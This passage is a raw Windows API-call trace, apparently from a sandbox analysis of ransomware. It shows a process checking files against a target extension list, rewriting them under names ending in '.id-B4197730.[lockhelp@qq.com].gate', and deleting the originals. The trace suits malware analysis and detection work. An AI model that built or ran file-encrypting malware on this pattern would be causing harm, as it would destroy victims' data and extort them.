(lpString1=".rar", lpString2=".WMF") returned -1 [0283.727] lstrlenW (lpString=".bz2") returned 4 [0283.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.727] lstrlenW (lpString=".7z") returned 3 [0283.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.727] lstrlenW (lpString=".dbf") returned 4 [0283.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.727] lstrlenW (lpString=".1cd") returned 4 [0283.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.727] lstrlenW (lpString=".jpg") returned 4 [0283.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.728] lstrlenW (lpString=".doc") returned 4 [0283.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.728] lstrlenW (lpString=".docx") returned 5 [0283.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.728] lstrlenW (lpString=".pdf") returned 4 [0283.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.728] lstrlenW (lpString=".xls") returned 4 [0283.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.728] lstrlenW (lpString=".xlsx") returned 5 [0283.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.728] lstrlenW (lpString=".ppt") returned 4 [0283.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.728] lstrlenW (lpString=".zip") returned 4 [0283.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.728] lstrlenW (lpString=".rar") returned 4 [0283.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.728] lstrlenW (lpString=".bz2") returned 4 [0283.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.728] lstrlenW (lpString=".7z") returned 3 [0283.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.728] lstrlenW (lpString=".dbf") returned 4 [0283.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.728] lstrlenW (lpString=".1cd") returned 4 [0283.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0283.728] lstrlenW (lpString=".jpg") returned 4 [0283.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.729] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0283.729] lstrlenW (lpString="BD09194_.WMF") returned 12 [0283.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0283.750] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=14540) returned 1 [0283.750] CloseHandle (hObject=0x418) returned 1 [0283.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0283.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0283.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0283.751] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.751] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0283.751] GetLastError () returned 0x0 [0283.751] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x38cc, lpOverlapped=0x0) returned 1 [0284.821] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x38d0, lpOverlapped=0x0) returned 1 [0284.822] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.822] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.823] SetEndOfFile (hFile=0x4a4) returned 1 [0284.823] CloseHandle (hObject=0x4a4) returned 1 [0284.823] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.823] SetEndOfFile (hFile=0x418) returned 1 [0284.826] CloseHandle (hObject=0x418) returned 1 [0284.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0284.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0284.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.826] lstrlenW (lpString=".doc") returned 4 [0284.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.827] lstrlenW (lpString=".docx") returned 5 [0284.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.827] lstrlenW (lpString=".pdf") returned 4 [0284.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.827] lstrlenW (lpString=".xls") returned 4 [0284.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.827] lstrlenW (lpString=".xlsx") returned 5 [0284.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.827] lstrlenW (lpString=".ppt") returned 4 [0284.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.827] lstrlenW (lpString=".zip") returned 4 [0284.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.827] lstrlenW (lpString=".rar") returned 4 [0284.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.827] lstrlenW (lpString=".bz2") returned 4 [0284.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.827] lstrlenW (lpString=".7z") returned 3 [0284.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.827] lstrlenW (lpString=".dbf") returned 4 [0284.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.827] lstrlenW (lpString=".1cd") returned 4 [0284.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.827] lstrlenW (lpString=".jpg") returned 4 [0284.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.827] lstrlenW (lpString=".doc") returned 4 [0284.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.827] lstrlenW (lpString=".docx") returned 5 [0284.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.828] lstrlenW (lpString=".pdf") returned 4 [0284.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.828] lstrlenW (lpString=".xls") returned 4 [0284.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.828] lstrlenW (lpString=".xlsx") returned 5 [0284.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.828] lstrlenW (lpString=".ppt") returned 4 [0284.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.828] lstrlenW (lpString=".zip") returned 4 [0284.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.828] lstrlenW (lpString=".rar") returned 4 [0284.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.828] lstrlenW (lpString=".bz2") returned 4 [0284.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.828] lstrlenW (lpString=".7z") returned 3 [0284.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.828] lstrlenW (lpString=".dbf") returned 4 [0284.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.828] lstrlenW (lpString=".1cd") returned 4 [0284.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0284.828] lstrlenW (lpString=".jpg") returned 4 [0284.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.828] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0284.828] lstrlenW (lpString="BD19563_.GIF") returned 12 [0284.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0284.829] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=20454) returned 1 [0284.829] CloseHandle (hObject=0x418) returned 1 [0284.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0284.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0284.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0284.830] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.830] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0284.830] GetLastError () returned 0x0 [0284.830] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0284.995] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0284.996] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.996] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.996] SetEndOfFile (hFile=0x4a4) returned 1 [0284.996] CloseHandle (hObject=0x4a4) returned 1 [0284.997] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.997] SetEndOfFile (hFile=0x418) returned 1 [0285.000] CloseHandle (hObject=0x418) returned 1 [0285.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0285.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.001] lstrlenW (lpString=".doc") returned 4 [0285.001] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0285.001] lstrlenW (lpString=".docx") returned 5 [0285.001] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0285.001] lstrlenW (lpString=".pdf") returned 4 [0285.001] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0285.001] lstrlenW (lpString=".xls") returned 4 [0285.001] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0285.001] lstrlenW (lpString=".xlsx") returned 5 [0285.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0285.001] lstrlenW (lpString=".ppt") returned 4 [0285.001] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0285.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.002] lstrlenW (lpString=".zip") returned 4 [0285.002] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0285.002] lstrlenW (lpString=".rar") returned 4 [0285.002] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0285.002] lstrlenW (lpString=".bz2") returned 4 [0285.002] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0285.002] lstrlenW (lpString=".7z") returned 3 [0285.002] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0285.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.002] lstrlenW (lpString=".dbf") returned 4 [0285.002] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0285.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.002] lstrlenW (lpString=".1cd") returned 4 [0285.002] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0285.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.002] lstrlenW (lpString=".jpg") returned 4 [0285.002] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0285.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.002] lstrlenW (lpString=".doc") returned 4 [0285.002] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0285.002] lstrlenW (lpString=".docx") returned 5 [0285.002] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0285.002] lstrlenW (lpString=".pdf") returned 4 [0285.002] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0285.002] lstrlenW (lpString=".xls") returned 4 [0285.002] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0285.003] lstrlenW (lpString=".xlsx") returned 5 [0285.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0285.003] lstrlenW (lpString=".ppt") returned 4 [0285.003] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0285.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.003] lstrlenW (lpString=".zip") returned 4 [0285.003] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0285.003] lstrlenW (lpString=".rar") returned 4 [0285.003] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0285.003] lstrlenW (lpString=".bz2") returned 4 [0285.003] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0285.003] lstrlenW (lpString=".7z") returned 3 [0285.003] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0285.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.003] lstrlenW (lpString=".dbf") returned 4 [0285.003] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0285.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.003] lstrlenW (lpString=".1cd") returned 4 [0285.003] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0285.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0285.003] lstrlenW (lpString=".jpg") returned 4 [0285.003] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0285.003] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.003] lstrlenW (lpString="BD19828_.WMF") returned 12 [0285.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.005] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=8772) returned 1 [0285.005] CloseHandle (hObject=0x418) returned 1 [0285.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0285.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.005] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.005] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0285.006] GetLastError () returned 0x0 [0285.006] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x2244, lpOverlapped=0x0) returned 1 [0285.072] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x2250, lpOverlapped=0x0) returned 1 [0285.073] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.073] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.073] SetEndOfFile (hFile=0x4a4) returned 1 [0285.073] CloseHandle (hObject=0x4a4) returned 1 [0285.074] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.074] SetEndOfFile (hFile=0x418) returned 1 [0285.076] CloseHandle (hObject=0x418) returned 1 [0285.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0285.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.077] lstrlenW (lpString=".doc") returned 4 [0285.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.078] lstrlenW (lpString=".docx") returned 5 [0285.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.078] lstrlenW (lpString=".pdf") returned 4 [0285.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.078] lstrlenW (lpString=".xls") returned 4 [0285.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.078] lstrlenW (lpString=".xlsx") returned 5 [0285.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.078] lstrlenW (lpString=".ppt") returned 4 [0285.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.078] lstrlenW (lpString=".zip") returned 4 [0285.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.078] lstrlenW (lpString=".rar") returned 4 [0285.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.078] lstrlenW (lpString=".bz2") returned 4 [0285.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.078] lstrlenW (lpString=".7z") returned 3 [0285.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.078] lstrlenW (lpString=".dbf") returned 4 [0285.078] lstrcmpiW 